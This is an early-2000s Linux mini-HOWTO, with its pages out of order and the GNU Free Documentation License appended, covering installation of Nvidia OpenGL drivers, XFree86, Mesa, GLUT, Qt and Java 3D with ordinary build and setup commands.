Introduction |  | Linux Kernel >= 2.2.12 Required


Final Comments

Nvidia OpenGL Configuration mini-HOWTO
Prev Next

Chapter 4. Final Comments

I believe that is about it! At this point you should have a fully functioning OpenGL system for running and developing OpenGL apps.

You can try building the demos in /usr/src/Mesa-4.0.1/{demos,xdemos} by using the Makefile.X11 as Makefile and running "make targets" or "make teapot" etc. They should build and link with the hardware accelerated libGL and run very fast! Qt has a OpenGL example in $QTDIR/examples/gear, that you should be able to run as simply as "make;./gear".

Just about any standard GL/GLX/GLU/glut app should run fine, such as WolfGL, GLQuake, glqwcl.glx (GLQuakeWorld), quake2, and of course ... quake3!!!

HAVE FUN!

Prev | Home | Next
Install Java 3D (optional) |  | GNU Free Documentation License


GNU Free Documentation License

Nvidia OpenGL Configuration mini-HOWTO
Prev Next

Appendix A. GNU Free Documentation License

Table of Contents
A.1. GNU FDL Version, and Copyright Notice
A.2. PREAMBLE
A.3. APPLICABILITY AND DEFINITIONS
A.4. VERBATIM COPYING
A.5. COPYING IN QUANTITY
A.6. MODIFICATIONS
A.7. COMBINING DOCUMENTS
A.8. COLLECTIONS OF DOCUMENTS
A.9. AGGREGATION WITH INDEPENDENT WORKS
A.10. TRANSLATION
A.11. TERMINATION
A.12. FUTURE REVISIONS OF THIS LICENSE
A.13. How to use this License for your documents
Prev | Home | Next
Final Comments |  | GNU FDL Version, and Copyright Notice


APPLICABILITY AND DEFINITIONS

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.3. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
PREAMBLE | Up | VERBATIM COPYING


AGGREGATION WITH INDEPENDENT WORKS

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.9. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
COLLECTIONS OF DOCUMENTS | Up | TRANSLATION


COLLECTIONS OF DOCUMENTS

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.8. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
COMBINING DOCUMENTS | Up | AGGREGATION WITH INDEPENDENT WORKS


COMBINING DOCUMENTS

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.7. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
MODIFICATIONS | Up | COLLECTIONS OF DOCUMENTS


VERBATIM COPYING

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.4. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
APPLICABILITY AND DEFINITIONS | Up | COPYING IN QUANTITY


COPYING IN QUANTITY

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.5. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
VERBATIM COPYING | Up | MODIFICATIONS


GNU FDL Version, and Copyright Notice

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.1. GNU FDL Version, and Copyright Notice

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
GNU Free Documentation License | Up | PREAMBLE


How to use this License for your documents

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License

A.13. How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
FUTURE REVISIONS OF THIS LICENSE | Up


MODIFICATIONS

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.6. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
COPYING IN QUANTITY | Up | COMBINING DOCUMENTS


PREAMBLE

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.2. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU FDL Version, and Copyright Notice | Up | APPLICABILITY AND DEFINITIONS


FUTURE REVISIONS OF THIS LICENSE

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.12. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
TERMINATION | Up | How to use this License for your documents


TERMINATION

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.11. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
TRANSLATION | Up | FUTURE REVISIONS OF THIS LICENSE


TRANSLATION

Nvidia OpenGL Configuration mini-HOWTO
Prev Appendix A. GNU Free Documentation License Next

A.10. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
AGGREGATION WITH INDEPENDENT WORKS | Up | TERMINATION


Nvidia OpenGL Configuration mini-HOWTO

Robert B Easter

reaster@reaster.com

Revision History
Revision v1.10 2002-01-31 Revised by: rbe

This mini-HOWTO is about how to install the OpenGL drivers for Nvidia graphics cards on Linux. In addition to just installing the Nvidia drivers, this mini-HOWTO also explains how to install XFree86, the OpenGL Utility library (part of Mesa), the OpenGL Utility Toolkit (glut), the full set of OpenGL manpages, Qt and its OpenGL extension, and Java and its Java 3D extension so that a user can have a complete runtime and development environment for OpenGL applications on Linux.

Note that some of this material may be out of date. The author has attempted to update this material but has not had time to test all the procedures. Nevertheless, this document should still provide a decent overview of what is involved. If you spot errors please contact the author.

Table of Contents
New Versions of this Document
Copyright and Licenses
Disclaimer
Contributors
1. Introduction
2. Download the software packages
2.1. Linux Kernel >= 2.2.12 Required
2.2. XFree86 4.0 or later
2.3. OpenGL man pages
2.4. Mesa 3D
2.5. Qt
2.6. NVIDIA drivers (Mesa libGL replacement)
2.7. Java 2 SDK, Java 3D extension, and Java PlugIn for Netscape (optional)
3. Install Software
3.1. README and INSTALL files
3.2. Install XFree86
3.3. Install Mesa
3.4. Install Nvidia OpenGL drivers
3.5. Install Qt
3.6. Install GLUT 3.7 Distribution (optional)
3.7. Install Java 3D (optional)
4. Final Comments
A. GNU Free Documentation License
A.1. GNU FDL Version, and Copyright Notice
A.2. PREAMBLE
A.3. APPLICABILITY AND DEFINITIONS
A.4. VERBATIM COPYING
A.5. COPYING IN QUANTITY
A.6. MODIFICATIONS
A.7. COMBINING DOCUMENTS
A.8. COLLECTIONS OF DOCUMENTS
A.9. AGGREGATION WITH INDEPENDENT WORKS
A.10. TRANSLATION
A.11. TERMINATION
A.12. FUTURE REVISIONS OF THIS LICENSE
A.13. How to use this License for your documents
Next
New Versions of this Document


Install Software

Nvidia OpenGL Configuration mini-HOWTO
Prev Next

Chapter 3. Install Software

Table of Contents
3.1. README and INSTALL files
3.2. Install XFree86
3.3. Install Mesa
3.4. Install Nvidia OpenGL drivers
3.4.1. Install NVIDIA kernel driver package
3.4.2. Install NVIDIA GLX package
3.5. Install Qt
3.6. Install GLUT 3.7 Distribution (optional)
3.7. Install Java 3D (optional)
Prev | Home | Next
Java 2 SDK, Java 3D extension, and Java PlugIn for Netscape (optional) |  | README and INSTALL files


Install GLUT 3.7 Distribution (optional)

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.6. Install GLUT 3.7 Distribution (optional)

If you installed the MesaDemos/MesaLib package, then you have already installed GLUT 3.7 since it is included with MesaDemos. However, you may be interested in installing the GLUT manpages and you can skip right to the "Install GLUT manual pages", below ...

Installing GLUT is a bit tricky. I'm not too familiar with imake, the program that it uses to manage the Makefiles, and didn't quite see how to get GLUT to install to where I wanted it (/usr/lib, but MesaDemos will do this without any trouble though). It can be done manually anyhow:

    cd /usr/src
    tar -xvzf glut-3.7.tar.gz
    cd glut-3.7

    Read the file: README.linux
    cd linux
    READ the file: README
    cp Glut.cf ..
    cd ..
    Edit Glut.cf: remove any Mesa references.
    Replace any -lMesaGL -lMesaGLU with -lGL -lGLU if needed.
    In particular, replace:
        OPENGL = $(TOP)/../lib/libMesaGL.so
        GLU = $(TOP)/../lib/libMesaGLU.so
    with:
        OPENGL = -lGL
        GLU = -lGLU

    ./mkmkfiles.imake
    cd lib/glut
    cp /usr/src/glut-3.7/linux/Makefile .
    Edit the Makefile: remove any Mesa references.
    Replace any -lMesaGL -lMesaGLU with -lGL -lGLU if needed.
    In particular, replace:
        OPENGL = $(TOP)/../lib/libMesaGL.so
        GLU = $(TOP)/../lib/libMesaGLU.so
    with:
        OPENGL = -lGL
        GLU = -lGLU

    make
    ln -s libglut.so.3.7 libglut.so
    ln -s libglut.so.3.7 libglut.so.3
    cp -d libglut.* /usr/lib
    cd ..
    cd gle
    # make a shared lib for libgle
    make
    gcc -shared -o libgle.so.3.7 *.o
    ln -s libgle.so.3.7 libgle.so
    ln -s libgle.so.3.7 libgle.so.3
    cp -d libgle.* /usr/lib
    cd ..
    cd mui
    # make a shared lib for libmui
    make
    gcc -shared -o libmui.so.3.7 *.o
    ln -s libmui.so.3.7 libmui.so
    ln -s libmui.so.3.7 libmui.so.3
    cp -d libmui.* /usr/lib

        # Install the GLUT manual pages (not included with MesaDemos)
    cd /usr/src/glut-3.7
    make SUBDIRS=man Makefile
    cd man/glut
    make install.man
    ldconfig

    cd ../../progs/demos/ideas
    # edit the Makefile, change OPENGL = -lGL and GLU = -lGLU
    make
    ./ideas
    # test compiling some demos
    # take a look at which libraries have to be linked (-lX11 ...) in
    # the Makefiles.  Qt's tmake program available at www.troll.no
    # is a quick way to make a Makefile but you have to edit it
    # and add the -l needed.

Prev | Home | Next
Install Qt | Up | Install Java 3D (optional)


Install Java 3D (optional)

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.7. Install Java 3D (optional)

If you already have a Java Software Development Kit (JSDK) or Java Runtime Environment (JRE) installed, then you can skip parts of this section. If you are using a JRE only, you'll have to get the JRE version of the Java 3D package and adapt these instructions.

It is recommended that you have the lastest version of Netscape, which at this time of writing is 6.2.1, if you plan to install the Java PlugIn for netscape. It works, but you may (or may not) experience Segmentation Faults when leaving a page that contained a Java 3D applet. KDE Konqueror can also be used to view Java 3D applets.

If you have not installed the Java SDK yet, you should have downloaded it already at least. Installing the JSDK is simple. You should follow the instructions that comes with it or follow my example below, based on using the Sun download.
            # The Sun download is a type of binary shell archive (man shar).
            # Make it executable and run it to unpack its contents
            chmod 744 j2sdk-1_3_1_02-linux-i386.bin
            ./j2sdk-1_3_1_02-linux-i386.bin
            mv jdk1.3.1_02 /usr/local
            cd /usr/local
            ln -s jdk1.3.1_02 jdk

Next is to unpack Java 3D and finish setting up the environment for the Java SDK.
    cd jdk
    tar -xvyf ~/java3d-1.2.1_01-fcs-linux-i386-sdk.tar.bz2
    cd jre/lib/ext
    cp j3d* ..
    cp vecmath.jar ..
    cd /usr/local
    chown -R root:root jdk1.3.1_02

Edit /etc/profile or, as on many systems, you can add a new file like java.sh to the directory /etc/profile.d/. To either file, add:
            JAVA_HOME=/usr/local/jdk
            PATH=$PATH:$JAVA_HOME/bin
            MANPATH=$MANPATH:$JAVA_HOME/man
            export JAVA_HOME PATH MANPATH
If you used a separate file java.sh, remember to make it executable. Start a new login terminal for these changes to take affect.

This completes the installation of the Java 2 SDK, which includes the JRE and the Java 3D extension.

You can install the Java PlugIn for netscape:
    # go to where netscape is installed
    cd $MOZILLA_HOME
    cd plugins
    ln -s /usr/local/jdk/jre/plugin/i386/ns600/libjavaplugin_oji.so libjavaplugin_oji.so
    # This installs it globally for all users
    # Each user can run ControlPanel to customize the Java Plugin preferences.
    ControlPanel
    # Then try it out:
    netscape &
When netscape loads, go to Edit+Preferences->Advanced and Enable Java and Enable Java Plugin, then exit Netscape.

Test Java 3D demos:

                cd $JAVA_HOME/demo/java3d/GearTest
                java GearBox &
                # runs as normal java application
                netscape GearBox_plugin.html &
                # runs in netscape as an applet

If you experience trouble with Java, you can try deleting ~/.java and related files in your home directory, then try again. These files left over from a prior Java installation can cause problems.

If all works well, you should have a complete Java Developement and Runtime Environment for both normal apps and high-performance 3D apps. See http://java.sun.com/ for further information about Java and the Java 3D extension.

Prev | Home | Next
Install GLUT 3.7 Distribution (optional) | Up | Final Comments


Install Mesa

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.3. Install Mesa

Note: This gives you the libGLU* and libglut* files that may be missing in XFree86. XFree86 used to only come with the OpenGL core library, libGL (based on Mesa). This also installs Mesa's libGL, but we will delete that since it is to be replaced by the Nvidia libGL.

You should look in /usr/X11R6/lib to see if you already have libglut.* and libGLU.*. If you do, you can skip installing Mesa. Recent releases of XFree86 have been including more of Mesa as standard.

It's best to uninstall any old Mesa version you may have installed before installing a new Mesa. Uninstalling software can be a dangerous operation, so know what you are doing! If you have software depending on your old Mesa, you might need to keep it and just install the new Mesa along with it.

To completely uninstall any Mesa libs that may have come with Slackware:

        removepkg mesa
For rpm-based systems (like RedHat and Mandrake), try:
        # see what will be removed first
        rpm -e --test Mesa | less
        # if ok, proceed
        rpm -e Mesa
For Debian, you can try:
        apt-get remove Mesa
Procedures vary for other distributions. If there is no clear way to uninstall an existing Mesa, then at least confirm where it is installed: normally either under /usr or /usr/local. The example below assumes that Mesa is installed (or going to get installed) under /usr. Installing over an old version is probably harmless. Look for /usr/lib/libMesa* or /usr/local/lib/libMesa* and delete them unless you have programs that need them.

    # IF you are going to use the project GLUT distribution of GLUT, then
        # unpack the Glut-3.7 packages ...
    # Mesa's compile looks for it
    cd /usr/src
    tar -xvzf glut-3.7.tar.gz
    tar -xvzf glut_data-3.7.tar.gz
        # IF you are using this GLUT, use the --with-glut=/usr/src/glut-3.7
        # parameter with Mesa's ./configure below in addition to the --prefix

    cd /usr/src
    tar -xvzf MesaLib-4.0.1.tar.gz
    tar -xvzf MesaDemos-4.0.1.tar.gz
    cd Mesa-4.0.1
    ./configure --prefix=/usr
    make
    make install
        ldconfig

Important: At this point, Mesa installed its own version of the glx.h include files over the ones that XFree86 installed. This will cause some programs to fail to compile and is corrected by copying the XFree86 GL include files from the X source back to your system:

    cp /usr/src/release/xc/include/GL/*.h /usr/X11R6/include/GL

Prev | Home | Next
Install XFree86 | Up | Install Nvidia OpenGL drivers


README and INSTALL files

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.1. README and INSTALL files

During the installation of all these packages, always read the README and INSTALL files etc. that come with them for the lastest, most authoritative information. Take some time to browse the website for each package for additional documentation.

Prev | Home | Next
Install Software | Up | Install XFree86


Install Nvidia OpenGL drivers

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.4. Install Nvidia OpenGL drivers

3.4.1. Install NVIDIA kernel driver package

First, unpack the kernel driver source.

    cd /usr/src
    tar -xvzf NVIDIA_kernel-1.0-2314.tar.gz
    tar -xvzf NVIDIA_GLX-1.0-2313.tar.gz
    cd NVIDIA_kernel-1.0-2314
Now, before building and installing this kernel driver, it has some AGP options that can affect performance. You shouldn't really attempt to use these options during your first attempt at getting your card working and not unless you are using a very recent 2.4 kernel and the lastest nvidia drivers.

The Linux kernel source can be compiled with an AGP character device that the Nvidia driver can use to get better performance. If your kernel does not have the AGP driver for your motherboard chipset compiled in, then the Nvidia kernel driver uses its own built-in AGP support if your video card is an AGP card. If you want to experiment with the Linux kernel AGP support, you should be able to rebuild and install your kernel with the appropriate support:
    cd /usr/src/linux
    make menuconfig
    # Go to Character devices and put a * by /dev/agpgart support
    # and also put a * by your motherboard chipset type.
    # Go to the Processor type and features and put a * by
    # MTTR support.
    # Save the config.
    make
    make modules
    make install
    make modules_install
    reboot

Futher tweaking can be done to the file os-registry.c in the NVIDIA kernel source. Looking though this file, you will see many flag variables (they can be set to 0 or 1) to control options that affect performance and stability! You should try your configuration with this file unmodified first to see that your system works. If it does, you can try these options. Among the options you can try here are:

  • Enabling AGP 4x on VIA chipsets (by default constrained to only 2x)

  • Enabling Side Band Addressing (your card needs to support this)

  • Enabling Fast Writes (IIRC, this must be enabled in your motherboard BIOS too)

Tip

If you experience problems starting X, see the files TNT_USERS_README and M64_USERS_README. These files explain how to tweak the kernel driver. They were written to fix problems with TNT and TNT2 M64 cards but these tweaks are reported to help the GeForce2 MX also. Try bypassing the BIOS as explained in M64_USERS_README.

After you have tweaked (or not tweaked) your Linux kernel and os-registry.c file, you can build and install the kernel module.
    # The make command will build and install the driver:
    make
After the driver is loaded, you can see the driver configuration with cat /proc/nv/card0

3.4.2. Install NVIDIA GLX package

Installing the Nvidia OpenGL library package is nothing too special. First you need to clean up some old files.

    # delete the libGL.* files that come with XFree86 / Mesa ...
    # the nvidia libGL.* should replace them
    # The more recent Nvidia Makefile installer does this for you.

    cd /usr/X11R6/lib
    rm libGL.*
    cd modules/extensions
    rm libGL*
    rm libglx*
    cd /usr/lib
    rm libGL.*

With the conflicting old files gone, you can begin the installation.

    cd ..
    cd NVIDIA_GLX-1.0-2313
    make
    ldconfig

    # make might not install the C header files that come with
    # the libraries in the NVIDIA_GLX package so, do this:
    cd usr/include/GL
    cp *.h /usr/include/GL
    # usr/include/GL is a subdirectory in the NVIDIA_GLX package.
    # /usr/include/GL should be a symlink to /usr/X11R6/include/GL
    # so you could copy to there instead if you want.

    # Make a basic XF86Config file using the "nv" driver:
    cd /etc/X11
    xf86config
    # Follow the prompts and fill in the information xf86config asks for.
    # Select the Nvidia GeForce or appropriate name.
    # You can test X with this XF86Config file, or continue for OpenGL:

    # You must edit XF86Config and set the following:
    vi XF86Config
    #	Load "glx"
    #	Replace 'driver "nv"' with 'driver "nvidia"'
    #	Put "1600x1200" first (or your preferred screen resolution)
    #	Copy ttf fonts from Windows into a font directory and add a font path.
    #            Use ttmkfdir (check freshmeat.net) to a fonts.dir file.
    #	A good place to keep your own fonts is /usr/local/share/fonts ...

    # Nvidia drivers do NOT use the dri module - don't load it.

        # You may like to edit /etc/X11/xinit/xinitrc to have run "startkde"
        # or "gnome-session" instead of twm.

    # Note: /usr/include/GL should be a symlink to /usr/X11R6/include/GL

Specifying "nvidia" for the driver in the XF86Config makes that take effect each time you startx. But the NVdriver kernel driver will have to be loaded before you startx. It can be loaded with:
        # to load it
        insmod NVdriver
        # If you need to unload it:
        rmmod NVdriver
You should not have to use insmod manually. The NVdriver installation should have inserted a line into /etc/modules.conf (or conf.modules) that looks something like:

                alias char-major-195 NVdriver
If this line is present, NVdriver is loaded automatically when X is started. You can check if its loaded using the command, lsmod.

In my experience, your video system will become unstable if you compile, load, and unload the NVdriver module. You should reboot your system after rebuilding this module to help make sure your system doesn't lock inside X. Its possible that your screen will go black and the keyboard will become unresponsive after switching NVdriver. It is advisable to always have another computer with telnet or ssh that you can use to get into your Linux box to shut it down properly if this happens.

Prev | Home | Next
Install Mesa | Up | Install Qt


Install Qt

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.5. Install Qt

        # for Qt, there is no "make install", just place the source
        # where you want it to live:
    cd /usr/local
    tar -xvzf qt-x11-2.2.4.tar.gz
    ln -s qt-2.2.4 qt
    cd qt

Read the INSTALL file about environment variables to setup before you try to build Qt. You can add the following to /etc/profile:

                QTDIR=/usr/local/qt
                PATH=$PATH:$QTDIR/bin
                MANPATH=$MANPATH:$QTDIR/man
                LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$QTDIR/lib
                export QTDIR PATH MANPATH LD_LIBRARY_PATH
LD_LIBRARY_PATH is optional if you include an entry in /etc/ld.so.conf for the library path: /usr/local/qt/lib, then run ldconfig to update /etc/ld.so.cache.

        # note: configure has some options you can try, to see them
        # see ./configure --help
    ./configure

        # NOTE: when you run make as suggested on the next line, you may
        # encounter a make error that halts the build IF you run make
        # from outside X.  The program $QTDIR/bin/uic (the User Interface Compiler)
        # may Segmentation Fault when run from a Linux console.  You can run
        # "startx" and use the twm (tiny window manager) and xterm (or whatever you
        # might have setup for X) to run the rest of the Qt build.  If for some
        # reason twm is not even available, then you can run "XFree86 &", use
        # "CTRL-ALT-F1" to get to a console, start an xterm as
        #  "xterm -display localhost:0.0 &", then switch back to X with "ALT-F7".

    make

    # Only for old versions of Qt before 2.1.0 or so ...
    # compile the opengl extension
    # Note that in qt 2.2.0 on, the OpenGL support has been moved out of extensions
    # and is now a standard part of the library that is installed if configure
    # finds OpenGL installed on your system.  If you were to not want OpenGL
